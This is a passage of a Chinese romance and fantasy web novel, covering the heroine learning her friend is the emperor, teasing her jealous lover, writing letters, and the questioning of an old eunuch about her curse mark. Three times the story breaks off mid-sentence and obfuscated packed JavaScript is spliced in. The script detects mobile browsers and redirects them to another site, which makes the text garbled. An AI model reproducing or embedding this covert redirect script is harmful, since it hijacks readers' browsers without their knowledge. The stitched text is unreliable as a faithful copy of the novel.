花无期被押回京城后,先是由清明司秘密关押、审讯,现在似乎囚在城外一座死牢之中,。那里看守严密,据说连蚊子都只许进不许出,什么人能进去杀人?
明绝没有多说,“你回去告诉月悬,他们自会知道。”
不等慕情再细问,他已经飞身窜上屋檐,几个起落消失不见了。
“等等!”慕情还想再问,明绝却已如鬼魅般向后飘退,足尖在斑驳的墙壁上一点,身影已如离弦之箭般窜上屋檐,几个起落便消失在鳞次栉比的屋脊之后。
巷子里,仿佛从未有人来过,只余下慕情单独一人。
她不敢耽搁,立刻返回王府,将明绝的话原原本本告知了月悬。
月悬听完,神色骤然变得无比凝重,“这消息……你从何处得来?”
慕情抿了抿唇:“是……一个朋友,他不会骗我的。”
月悬见她不愿说,也不过度追问,只是向她确认了一下,“消息来源可靠吗?”
“他性格稳重谨慎,没把握的事不会说的。”
“好,我知道了。”
慕情忍不住好奇,“什么人要杀花无期?难道鬼王教都渗透到京城了?”
“不是,此事我们会处理的,不用担心。”月悬牵住她的手,将她拉到面前,“你脸色不太好,是不是累着了?”
慕情埋头在他怀中蹭了蹭,“有一点。”
月悬摸摸她的头,在她有些苍白的额角处吻了吻,柔声道:“去榻上休息一会儿。此事与今晚入宫冲突了,我得去跟义父商量一下。”
最终,他们商量权衡的结果是,以死牢为重,宫中那边暂且放一放。
下午,月悬便秘密调集人手,亲自前往城外死牢布置,务求万无一失,揪出幕后之人的把柄。
这一夜,慕情虽然疲惫,却有些辗转反侧,难以入眠。窗外更漏声声,每一刻都显得格外漫长。
直到天色微明,慕情就早早起来了,听到前院传来熟悉的动静,她立刻起身,匆匆迎了出去。
只见月悬与王爷并肩归来,进入正堂。
两人眉宇间都笼罩着一层挥之不去的疲惫与凝重,显然一夜未眠。
“如何?”慕情跟了进去,急切地问,“你们没有受伤吧?”
“没事。”月悬摇了摇头,声音带着一丝沙哑:“对方极其狡猾。昨夜派出的只是试探的棋子,行动鬼祟,一发现守卫有异动,立刻断尾求生,自尽身亡,没留下任何活口。”
李乘风说道:“他们的人对地牢布置和花无期关押的位置十分熟悉,想来有内应,很可能地牢中有他们的人。”
此番调查鬼王教的事件处处受阻,各种其他案件也冒了出来,李乘风神色也多了几分疲惫,面色沉郁。
月悬:“对方选在这个时机动手,是不是得知了我们要进宫?”
李乘风没有回答,只是说道:“还是要尽快见皇上一面。”
两人神色都算不上轻松,见慕情在一旁眼巴巴地看着,张嘴似乎要说什么,李乘风先一步开口,对她挥了挥手。
“你就别凑热闹了,好好在府中养病,最近莫要再出去瞎逛。”
慕情被赶了出来,还被禁止出门。
她蔫哒哒地穿过回廊,走向自己的院子。
刚踏进花园,就远远看见迎面来了几个人,看方向是从后门进来的。
她一眼就认出里面有无心,领头的那个华服年轻公子更是十分眼熟,待走近一看,慕情就有点懵。
“赵墨华?”她疑惑地脱口而出,随即有些惊喜,“你怎么来了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918067|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?是来找我的吗?”
无心闻言脸色骤变,轻斥她,“别乱说话,这是皇上。”
“啊???”慕情脸上的笑容瞬间僵住,仿佛被一道天雷劈中,整个人都懵了,“皇……皇上?!”
赵墨华,不,应该说是当朝皇帝李玄烨,看着慕情惊呆的样子似乎十分有趣,笑道:“今日不是来找你的,来找皇叔有些事情。”
慕情还在懵逼之中。
李玄烨顿了一下,说道:“听说你离京之前去找过我?”
他身上穿着蓝色常服,显然是微服出宫的,看之前两人偶遇的次数,恐怕经常这么干。
这会儿他也不端他皇帝的架子,照样自称“我”,声调平和与往常无异。
慕情还没回过神来,更没适应突然的身份转变,傻愣愣地说了句,“我……我想跟你告别来着……”
“嗯。”李玄烨看着她,目光多了一丝复杂,“你的事情……我已经知道了,以后老实在京城待着,别乱跑。”
他说完也不等慕情回应,径自往前走,只路过她身边的时候,手中装逼用的折扇转了一圈,在她脑门上轻敲了一记。
无心在后面看着他们对话,眼睛已经快瞪脱眶了,但他要陪皇帝去见眷王,自然没法追问她,只来得及回头对她做了个口型:“你!等!着!”
眼神里充满了“你居然认识皇上还不告诉我?!”的震惊和控诉。
慕情没把他的表现当回事儿,脑子里像锅粥一样翻腾,恍惚地走回自己院子。
她认识的纨绔公子居然是皇帝?
慕情还有些不真实感,心道难怪他花钱眼睛都不眨一下。
但是一个皇帝怎么会注意到自己?慕情回想着两人相识的过程,脚步一顿,突然有了些明悟。
李玄烨再怎么不着调,也是堂堂皇帝,微服出宫时身边定然也暗中跟着不少人,消息也十分灵通。
两人第一次见面时,他恐怕就清楚地知道了她的身份,后面密集的几次碰面,恐怕也不是单纯的偶遇那般简单。
那,他的目的是她背后的眷王府?
可是也不对呀,她极少与外人提起眷王府中的事情,跟李玄烨也从未提过。
但李玄烨显然看起来并不像是表面上那般,是一个贪图享乐不管事儿的皇帝,反而对朝臣的动向了解不少。
今日一大早秘密从后门进入眷王府,显然是与王爷有正事商量,联想到刚才他所说的“已经知道她的情况”。
所以……李玄烨找王爷是因为鬼王教的事情?
慕情越想越觉得有可能,最近清明司莫名多了许多麻烦,月悬案头上的案卷都高了一倍,搜捕鬼王教的进度也频频受阻,而之前无心他们说过,有一些线索,指向朝廷官员。
慕情隐约明白了。
这些弯弯绕绕的东西不是她能琢磨明白的,也就歇了心思。
皇帝并未在王府久留,晌午之前便悄无声息地离开了。
他走之后,率先来找慕情的不是无心,而是月悬。
“王爷那边忙完了?”慕情迎上去,带着一丝小心翼翼的好奇,“赵……呃,皇上他跟你们说什么了?”
她还没完全适应这个称呼的转变。
月悬看着她,没说话。
慕情愣了愣,恍然道:“是不能说吗?那我不问了。”
“……没什么不能说的。”月悬终于开口,将情况大致告诉了她,
李玄烨果然是为了鬼王教一案而来。他们之前的调查已经锁定了一个朝廷重臣,三朝元老谢明远。
此人不仅是三十多年前那场宫变的推手,更是将9岁的李玄烨扶上龙椅的关键人物,门生故吏遍布朝野,根深蒂固,势力盘根错节。
这也是月悬他们处处受阻,投鼠忌器的重要原因。
而皇帝此次来,就是来取走那个“器”的。
慕情边听边思索,知道他们这是准备将重心放在先清理朝堂了。
然而,月悬的话并未结束。他端起桌上微凉的茶水,指腹摩挲着杯沿,目光再次投向慕情,语气平淡得像在讨论天气:“他还问了你几句。”
“问我?”慕情又是一愣。
“你的身世问题。”月悬看着她,“听说你们早就认识?”
慕情心头一跳,连忙将两人相识的过程详细说了一遍,从瓷器店解围到夜市同行,再到她离京前去找他告别未果。
月悬静静地听着,面上看不出喜怒,只是垂眸说道:“那日……你醉酒,深夜方归。送你回来的……便是他?”
他称呼皇帝一口一个“他”,都算得上不敬了。
慕情品咂着这个称呼,再抬眼看向月悬那看似平静无波,实则处处透着一丝委屈的模样,后知后觉,这是……吃醋了?
37. 第 37 章 沈听寒
慕情忍不住乐了,月悬性格沉静,素来善于隐藏自己的情绪,便是不高兴也极少显露出来。
在她印象里,月悬吃醋的次数屈指可数。
一次是她听了追影师兄用树叶吹曲子,惊艳不已,念念不忘了大半个月。
月悬当时不显,后来两人出游,她缠着他吹笛助兴,他才忍不住说了一句:
“不知,我与追影的吹奏,谁更胜一筹?”
慕情先是愣住,随即笑出了声,整个人扑到他的怀中:
“当然是你!”
还有一次是慕情在瑶光谷治病时,遇到了一位同样来求医的年轻公子。
他长得十分貌美,性情又温柔腼腆,慕情便多关照了几分。
回京后月悬与她闲聊,问起在瑶光谷有没有遇到什么有趣的事情。
慕情便说起了此事,顺嘴夸了人家几句。前两句她夸他貌美时,月悬还正常接话。
到了第三句,她又说人家性格可爱,月悬就垂眸道:“你……很在意?”
慕情没反应过来,“啊?在意什么?”
月悬轻笑,抬手拉过她:“你方才一直在夸别人,我……有些吃醋了。”
慕情回想着这些事,眼角眉梢都忍不住微微弯起,露出笑意
月悬吃醋很可爱,可惜只能随机触发,有时她刻意想让他吃醋,反而通常不能如愿。
她的心情有些飞扬起来,凑近他,故意拖长了语调:“嗯……那晚啊……”
她歪头作回忆状:“我好像是喝得有点多,头昏脑胀的,走路都打晃,多亏了他……‘他’可真是个体贴周到的人呢。”
她刻意加重了那个“他”字,模仿着月悬刚才的语气。
月悬的呼吸几不可察地微微一滞,下颌线似乎绷得更紧了些,目光沉沉地看着她,没说话。
慕情继续“添油加醋”:“他在赚钱方面也很有天赋,听说我要离京游历,他还帮着我一起筹集路费呢,陪我在城中四处奔波……”
月悬放在膝上的手,指节微微蜷起。
“之前是我不好……”他垂眼看着前方的地板,“我虽不方便出去陪你奔走……但以后你若缺少花用,可以告诉我。”
他明明表情、语气都很平静,慕情却听得心里咯噔一下,微微一疼。
她意识到有些逗过头了,连忙收起那副“回忆美好”的表情,连连摆手:
“没有没有,不是你的错,是之前……我没好意思找你……而且我现在也不缺钱了,楚大哥之前给了我……“
她意识到自己又踩了另一个坑,话音戛然而止。
月悬抬眼看她,目光沉沉:“给了你什么?”
“……给了我些金银首饰……”慕情心虚地扑进他的怀里,求饶似的在他胸膛上蹭了蹭,“明天我就把它们找出来充公,以后都用你给我的零花钱好不好?”
月悬被她这突如其来地投怀送抱撞得身体微微一僵,随即放松下来,周身那股隐隐的低气压也瞬间散了大半。
他抬手轻碰了碰她的长发:“无需如此,送你的便是你的,以后……”
慕情从他怀里抬起头:“以后我还有你嘛。”
“嗯,有我。”
慕情听他的声音仍然不太开心,故意动了动,用委屈巴巴的语气问:“那你怎么不抱抱我?是不是嫌弃我病怏怏的,没以前好看了?”
“胡说八道。”月悬语气终于松了下来,带着一丝无奈的宠溺。
他抬手揽住她,手臂收紧,下巴轻轻抵在她柔软的发顶。
“那……你刚才干嘛凶巴巴的?”慕情得寸进尺,在他怀里找了个更舒服的位置,手指不安分地戳了戳他坚实的胸膛。
“还‘他’呀‘他’的,酸溜溜的,隔着老远我都闻到醋味儿啦!”
月悬被她戳中心事,耳根微微泛红,却依旧嘴硬:“……没有。”
“就有!”慕情抬起头,手指轻轻点了点他紧抿的薄唇,笑得像只偷腥成功的小狐狸,“这里,都抿成一条线了,还说没有?月使大人,撒谎可是不好的哦!”
月悬垂眸看她,轻笑着叹了口气,握住她作乱的手指。
“我只是……”他顿了顿,似乎在斟酌词句,“担心你,也不愿你……与旁人走得太近。”
慕情一颗心酸酸软软的,反手与他十指相扣,仰头在他下巴处亲了一下,“我知道,从头到尾我只喜欢沈听寒一个,所以不要吃醋啦。”
她顿了顿,又道:“虽然他整天冷着个脸,什么都闷在心里,不解风情,工作又忙……”
月悬收紧了手臂,无奈道:“你呀……”
慕情笑了起来,话音又是一转:“可是旁人再好,在我心中也是不如他的。”
月悬没有多的言语,只是一个轻柔而珍重的吻,轻轻落在她的发顶。
窗外,春日的暖阳正好,透过窗棂洒在相拥的两人身上,连空气中细小的尘埃都仿佛染上了甜蜜的金色。
花园里,那几株新开的桃花在微风中轻轻摇曳,散发着淡淡的、象征着生机与希望的芬芳。
皇帝的到来仿佛一个信号,打破了维持已久的僵局。
自那日起,眷王府众人就卷入无声的极端忙碌之中。
月悬身为清明司首席命使和王府世子,更是首当其冲。
他每日天不亮便离府,归来时往往已是深夜,披星戴月,一身清寒。
即便如此,他心中始终挂念着被“禁足”在府中的慕情,每每回来推开门时,袖中或怀里总会变戏法似的掏出些东西。
有时是六味居新出的点心,有时是街边偶遇的一些新奇的小玩意。
这些微不足道的小东西,成了慕情困顿日子里最鲜亮的色彩和期待。
她因身体原因和药力作用,白日里睡得较多,到了夜晚反而精神些,总能强撑着困意,在止院等到月悬回来。
虽然两人往往说不上几句话,有时只是月悬看着她吃完点心,有时是她絮叨几句府中狸花猫“肉包”的趣事,有时只是互相依偎着抱一抱,然后各自回房睡觉。
整个眷王府中,只有慕情和夏姨算得上清闲,她只需要顾好自己,而夏姨则专门负责看着她。
幸好莫医师早已经离开京城,继续四处游历去了,不然慕情得被两个人盯着,吃双份的药,受双份的苦。
这日慕情照例在医疗室的床上躺平,任夏姨在她周身要穴上施针。
药气氤氲中,她盯着头顶繁复的木质雕花,脑中忍不住有些走神。
“想什么呢?苦大仇深的样子。”夏姨捻动着银针,手法沉稳,漫不经心地问。
慕情下意识想偏头看她,刚一动,脑袋就被夏姨的手稳稳摁住。
“说话就说话,乱动什么?”
慕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944645|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
情只好继续盯着天花板,说道:“夏姨,昨晚我看到你去了止院……”
她昨晚跟月悬说完话后离开,走到回廊尽头,像往常一样下意识地回头看止院的灯光,结果就看到一个熟悉的身影拎着灯笼进了院门。
夏知春也不瞒着她:“是啊,给你听寒哥哥扎针去。他忙得跟个陀螺似的,也就半夜有点时间了。”
慕情抿了抿些干涩的唇瓣,迟疑道:“夏姨,他的腿……真的没有办法了吗?”
这个问题已经在她心里盘旋了许久,此刻终于问出口。
医疗室里一时只剩下药炉里炭火轻微的噼啪声。
夏姨没有立刻答话,一根根将她脑袋上的针取了,待她忍不住转过头来,才无奈说道:
“听寒的病……并非一日两日了,十五年来,我们找遍了各类名医,能试的法子都试过了。若有半分可行的希望,又怎会眼睁睁看着它恶化至如今这般境地?”
“一点希望都没有吗?”慕情有些失望,很快又升起一丝希冀,“我知道一些……嗯……外科治疗的方法,虽然目前还停留在理论上,但是说不定能有用呢……”
她将自己知道的一些手术方法大致说了一下,穿越之前的那两年,她被困在病房中,学得最多的,就是医学方面的知识,尤其是治疗腿疾方面的。
这些治疗方法在这个时代看来可能有些惊世骇俗,但夏姨果然不愧是见过大世面的医者,没有露出丝毫鄙夷或惊诧,眼中反而渐渐流露出思索和赞赏的光芒。
待慕情说完,她沉吟片刻,缓缓点头:“思路大胆奇诡,细想起来,竟颇有几分道理。若真能实现,确是一线希望,只是……”
她顿了顿,慢慢道:“要治好听寒的腿,关键不在于续接之术,而在于病根。幽冥界中的阴气无比霸道,十几年来我不断试图用渡厄针帮他引出阴气,但也仅仅只能勉强压制其蔓延,收效甚微……若不能彻底拔除这病根,纵有再精湛的技术,也如同在朽木之上搭建华厦,终究是……空中楼阁,徒劳无功。”
夏姨的话像一盆冷水,浇得慕情透心凉,但她仍不死心,“那我将我知道的方法写下来吧,整理好先放着,等以后有办法彻底拔除阴气了,可以做个参考。”
夏知春看着她,神色有些严肃,片刻后才扬起一丝笑意:“若是真有那么一天,我们会跟你一起讨论的。”
慕情微微一愣,也点了点头,笑道:“嗯,到时我一定毫无保留!”
话虽这么说,但到了夜间,疼痛得睡不着的时候,慕情还是起来点燃了烛火。
她拿起纸笔,趴在桌上认认真真、仔仔细细地将她觉得有用的现代医学理论写下来,写满一张纸就放在一旁晾干,然后收进一个盒子里。
不知写了多久,第一部分内容告一段落,慕情停下笔,揉了揉发涩的眼睛,目光落在窗外如银钩般的月亮上。
她怔怔地看了一会儿,心中思绪翻涌。
她轻轻推开那些写满“医理”的纸张,从桌角抽出一张崭新的、带着淡淡竹香的素笺,又换了一支更细的狼毫笔,沾了笔墨开始写。
她也不拘什么格式、内容,闲聊一样想起什么写什么,很多都是些没有营养的废话,没一会儿就写满了一整张。
她抽出一个空白的信封,将信仔细叠好了塞进去,然后在封面上端端正正地写上:
“沈听寒亲启”
38. 第 38 章
日子如同指间流沙,在王府高墙内看似平稳地滑过。
外界风起云涌,鬼王教的阴影与朝堂的暗流汹涌都被隔绝在外,留给慕情的,是月悬和师兄姐们竭力营造的、一方宁静的港湾。
然而,这份宁静之下,是无法逆转的衰败。
虽然有夏姨尽心竭力地医治,但慕情的身体还是一天天虚弱下去。
师兄姐们什么都没说,只是默默地将更多的目光投注在她身上,总是忙里偷闲来看看她。
月悬止院的灯火经常燃到后半夜,将公务压缩到极致,省出一些时间来陪她在王府花园里晒太阳,耐心地听她絮叨些不着边际的想法。
有段时间慕情难受得不肯吃药,他便三餐定点回来,亲手为她试药,吹凉了才喂到她唇边,苦涩的药汁也因他专注的神情变得不那么难以下咽。
大家都心照不宣地维持着这份脆弱的平静。慕情也配合地扮演着那个“不知情”的乐天派。
吃饭睡觉和治病之余,她的大部分精力用来整理脑中来自另一个时代的医学知识,汇集成册。
有时候脑子累了,她就转而给月悬写信,写院中新开的玉兰像他袖口绣的暗纹;写无心师兄今日又被三师姐追着打的趣事;写夏姨新制的药丸又苦又涩;写狸花猫肉包又胖了一圈,手感极好;写她梦见他带她去江南看烟雨……
字里行间,是琐碎的温暖,是细水长流的眷恋,唯独没有悲伤和恐惧。
这些信,她每日能写上好几封,小心地叠好,收进书柜深处那个专门的信匣里。
这日,月悬早上出门后突然上午回府,说要带她去一趟西南。
慕情眨了眨眼,问:“西南?是鬼王教又有什么新线索了吗?”
“嗯。”月悬握住她微凉的手,告诉她找到了当初跟在前朝太子身边的太监。
鬼王教中实验所用的“鬼王印”,最初便是从他手中流出。
这消息来得突然,海棠他们已经先一步赶去抓人了,他们要尽快赶过去。
至于为什么非要慕情拖着虚弱的身体跑一趟,他没说,但慕情知道,因为她的身体,可能等不到将此人抓住带回京城了……
她什么都没有说,只是乖巧地点了点头,任凭他安排。
一路车马颠簸,对慕情虚弱的身体是巨大的煎熬。月悬几乎寸步不离,用内力为她舒缓不适。
抵达西南时,那老太监果然已被海棠等人控制,关押在当地清明司衙门的地牢中。
月悬屏退左右,只留自己和夏姨在场,让海棠将那形容枯槁、眼神浑浊的老太监押上来。
慕情经过十几日奔波,好不容易安定下来,已经沉沉睡了过去。
考虑到她的眉眼与玉音相似,怕那老太监看出什么端倪,夏姨便弄了个面具来给她遮住,只露出口鼻和下巴。
老太监被押到慕情暂歇的床前,起初脸上还带着几分狡狯和恐惧,但目光落在慕情微微敞开的衣领下,那枚已完全显形的“游仙印”时,突然惊奇地“咦”了一声,露出迟疑之色。
“这……这印记?!”
“少耍花样!”月悬声音冷冽,“这印可有解法?”
海棠配合地收紧了老太监脖子上的绳索,斥道:“快说!想要命就老实交代!”
老太监养尊处优惯了,又上了年纪,受不得一点刑讯,连连摆手,翻着白眼,脸上涨得通红,露出痛苦之色:“轻、轻点……我说……”
海棠也没想到他这么不经折腾,手一松,绳索落了回去。
“咳咳咳……”老太监颤颤巍巍地咳嗽几声,一脸苦涩地解释,“各位大人。不是老奴要耍花样,实在是……这‘鬼王印’一旦种下,便如跗骨之蛆,很难毫发无损地拔除。况且……况且这位姑娘身上的印记……”
海棠见不得他这吞吞吐吐地样子,扬起手中的鞭子,狠狠抽在他脚下,发出“啪!”一声脆响。
“况且什么?!给我好好说话!”
“大人饶命!”老太监吓得浑身一哆嗦,眼中浸出泪来,语速都快了许多,“这印记玄妙完整,并非老奴的手笔啊……”
他战战兢兢地一通解释,让众人知道他震惊又无能为力的原因。
老太监名德远,当年一直跟在前朝太子身边伺候,知道他在研究什么厉害东西,便动了心思,在旁边打杂的时候细细观察,偷偷记了下来。
可那术法艰深复杂,他也不是什么天赋之人,只能死记硬背,几年下来也不过掌握了些皮毛。
不等他完全学会,太子所在的玄幽谷便遭围剿。混乱之中,他偷偷带了些资料逃出重围,继续费心钻研,在已学会的那部分基础上做了些改动,才有了鬼王教中所用的鬼王印。
可残缺的终究是残缺的,只得形似而神不似,他们努力了二十年,所有实验者均以失败告终,不得不选择放弃。
但慕情身上这一枚,却十分完整……与当年他在前太子身边见过的原版相差无几。
海棠听得眉头紧皱,不由得看向侧前方。月悬守在床旁,低头看着榻上之人,眉眼陷在阴影之中,看不出表情,只有淡色的唇抿成一条冰冷的直线。
夏知春掩藏住内心的惊骇,厉声追问:“你既然是从前朝太子处学来此咒印,又见过原版和研究过程,当真不知道解决之法?”
老太监把头摇得像拨浪鼓,匍匐在地:“大人明鉴!老奴若有半分法子,岂敢隐瞒!这原版印记霸道无比,老奴至今也未能完全理解其中关窍。太子殿下当初也从未提过解决之法。”
月悬突然冷声道:“你跟在他身边这么多年,见过成功的案例吗?”
“这……”德远老太监略显尴尬地摇了摇头,“这咒印是当年太子殿下得意之作,潜心研究了数年,不断调整更改,虽然理论上已经非常完整,可还没……应该还没来得及试验,连名字都还没取,就……”
月悬皱眉:“应该?”
老太监迟疑了一下,见海棠又表情凶恶地扬了扬鞭子,连忙道:“当时传说太子殿下不满玉音公主与他人有情,还偷偷生下孩子,便用那孩子做了试验……”
他说道这里顿了顿,没什么底气地说:“当然,这主要是底下人的猜测,并无实际证据。当初我也见过那女娃,本就先天不足,体弱多病,但太子殿下对她挺好的。不过后来……那小女娃确实不见了踪影,玉音公主也逃离了。”
海棠与夏姨对视一眼,都看到了对方眼中的震惊与更深的阴霾。
慕情的容貌遮住了,老太监没发现端倪,但眷王府众人都知道,慕情与玉音之间有着千丝万缕的联系,很可能就是她的女儿。
良久,月悬道:“把他带下去吧。”
海棠点点头,提着老太监身上绑着的绳索,将人拎出去了。
夏知春叹了口气:“我去研究一下那老太监当年偷出来的资料。”
月悬转过头,对她微微躬身:“辛苦您。”
夏知春观察着他的脸色,从袖中掏出一个小瓷瓶递给他。
“你也注意点自己的身体,别这丫头还没怎么,你倒垮了。”
月悬低头接过:“我知道,义母放心,我有分寸。”
夏知春知道他从小就是个主意正的,便没再多说,只拍了拍他的肩膀,就转身离开了。
房间里只剩下月悬和慕情两个人,他伸手帮她取下脸上的面具,露出略显苍白的面容。
她现在已经很消瘦,躺在那里只有薄薄的一片,但因为年纪小,脸颊上倒还有些肉,摸上去细嫩软绵。
月悬的手将她的脸拢在掌心,察觉皮肤有些凉,便把被子拉上来盖上。
慕情似乎被惊动,迷迷糊糊地翻了个身,刚好把他的手压在脸下,无知无觉地继续酣睡起来。
月悬的嘴角微微翘起,很快又落了下去,也没有将手抽出来,就着这个别扭的姿势,拿起旁边桌上的卷宗翻看起来。
·
慕情醒来的时候,天色已近黄
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16028576|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
昏,屋子里光线有些昏暗。
她睁开眼,映入眼帘的便是一片熟悉的月白色衣摆,上面用银丝绣着竹叶暗纹。
鼻间萦绕着淡淡的冷香,让她心情变得格外快乐,嘴角控制不住地上扬起来,一抬头,就对上了月悬的视线。
他斜靠在她身侧,手里拿着书卷,面容有些疲惫,但神色格外温柔。
“醒了?可还难受?”
慕情感受着身上的隐痛,摇了摇头,脸颊处传来温暖又有些粗糙的触感,她疑惑地撑起身子回头看去,才发现自己是枕着月悬的手掌睡的。
她握住那只修长的手捏了捏,茫然地看向月悬:“我压到你了,怎么不抽出去?手压麻了么?”
“没有,你很轻。”
他顺势将她握住,问道:“方才见你在睡梦中皱着眉,可是做了什么噩梦?”
慕情犹豫了一下,老实说道:“梦到以前的事情了。”
她近来昏睡的时间渐长,做梦也越来越频繁,大多是关于游戏里的日常,不单是和月悬在一起的经历,还有许多和其他人的。
梦中有很多慕情记忆中没有的细节,信息量十分庞大,也过于真实。
即便是当时顶尖的超级AI神钩,也不太可能达到这个效果。
那种记忆混乱的感觉再次困扰了她,她甚至隐约有种疯狂的想法,觉得自己好像本来就在这里。
现代世界中的那个人是她,游戏世界中的那个人,也是她。
慕情每每从这个角度深想下去,都会产生一种撕裂感,陷入茫然和自我怀疑。
加上身体精力日渐下降,对于真相也没有那么执着了,她想让自己开心一些,也免得身边的人担心,便很少去细想这些事情。
是真是幻好像也没有多大的意义,反正她想要的,已经得到了。
“以前?我们的事吗?”月悬轻揉着她的指关节。
慕情偷偷看他脸色,并未察觉什么变化,便迟疑着点了点头。
……她发现,最近月悬好像不太排斥她提起另一个世界的事情了。
以前月悬虽然不说,但她隐约能感觉到,他对于她那些话是有些排斥的。
一开始,她还以为他是嫌她烦,后来关系日渐改善,他却依然如此。慕情回头想起来,才感觉到他大抵是觉得那个“月悬”并不是他。
可现在月悬却偶尔会主动提起这方面的话题。
这会儿他果然也没有顺势停下,而是自然而然地继续问道:“梦到什么了?”
慕情小声道:“我梦到……你不理我……”
月悬失笑:“我何曾不理你?”
除了初相识时,他确实有意疏远,后来从未无视过她,反而一步步退让、妥协。
而梦中那些场景中,他更是拿她不知如何是好,恨不能把天下所有她想要的都捧到她面前,又怎么可能不理她。
慕情不好意思说自己那些矫情的小心思,猛地扑到他身上,埋头在他怀里。
“我不管,反正就是你不好。”
月悬被她扑得往后仰了一下,很快稳住了身体,伸手环住她,唇角勾起浅浅的笑意。
“好,我知错,以后绝不会不理你了。”
慕情脸颊微红,月悬在她面前还是一样的喜欢道歉,但她没有了那种无处发泄的憋闷感,反而有点不好意思,脸颊在他胸前蹭蹭。
月悬不太自在地动了动,轻咳一声:“好了,肚子饿了么?起来吃点东西?”
慕情中午一下车就睡了,如今腹中空空,却没有任何食欲,但看着月悬的目光,她还是笑着点了点头。
月悬放开她起身,慕情眼珠一转,又拉住他的袖子。
面对月悬有些疑惑的眼神,她脸上飞快地染上一抹红霞,还强作镇定:“那个,想先要一个亲亲,可以吗?”
之前一直忙着赶路,他们已经很多天没有这样亲近的待在一起了。
没有亲亲就不想吃饭!!!